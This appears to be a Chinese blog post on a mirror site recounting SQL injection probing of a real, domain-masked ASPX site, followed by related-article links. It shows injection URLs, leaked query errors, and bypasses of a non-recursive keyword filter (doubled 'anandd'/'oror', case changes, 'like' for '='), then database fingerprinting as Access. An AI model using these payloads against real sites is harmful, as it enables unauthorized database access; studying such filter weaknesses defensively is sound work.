zoukankan      html  css  js  c++  java
  • 过滤'and','or' ''' '*' '=' ‘select’下的注入

    遇到一个站:http://www.马赛克.net/intro.aspx?id=6

    加了单引号  http://www.马赛克.net/intro.aspx?id=6‘  页面无变化

    加了双引号   http://www.马赛克.net/intro.aspx?id=6"  报错

    符串的语法错误 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6" ) order by id_sort' 中。

    可以看到  注入点 在()中

    测试   and 1=1     and 1=2   or 1=1   报错

    语法错误。 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6  11 )' 中

    可以看到   and  or  = 等关键字 被”吃掉了“

    经测试  并没有进行循环查找过滤 and or 等字符

    绕后方法   anandd   oror     And(大小写)

    http://www.马赛克.net/intro.aspx?id=6 anandd 1=1  返回正常

    http://www.马赛克.net/intro.aspx?id=6 anandd 1=2  返回也正常

    因为知道 = 也被“吃掉”了  所以用 'like' 代替

    http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 1  返回正常

    http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 2  返回也正常

    --------------------

    http://www.马赛克.net/intro.aspx?id=6 anandd  exists(select id from sysobjects)   报错  select 也被“吃掉”了

    语法错误。 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6 and exists( id from sysobjects) )' 中。

    紧接着,我在在数据库版本上花了很多时间   第一直觉认为是 aspx + mssql 组合

    然后在绕过语句上测试了很多,无法绕后,后来从猜测数据库类型开始猜    得出结论是 access数据库

    --------------------

    知道了绕过方法,和数据库类型,剩下的就是猜数据了,不过由于字典不给力  并未猜出任何表(除了报错时显示的“tab_intro_info”),任何数据

    由于表的组合比较变态  tab_intro_info 也就没有继续猜下去

  • 相关阅读:
    Spring框架构造注入的属性问题type属性
    Spring框架AOP添加日志记录功能
    Spring框架构造注入
    Spring框架AOP原理
    Spring框架构造注入的顺序问题index属性
    Spring框架使用P命名空间进行注入
    工作中的SQL脚本
    spring框架ioc设置注入小demo
    [笔试] C和C++动态内存分配和释放的区别
    [算法] 当今世界最为经典的十大算法投票进行时
  • 原文地址:https://www.cnblogs.com/mrhonest/p/9253406.html
Copyright © 2011-2022 走看看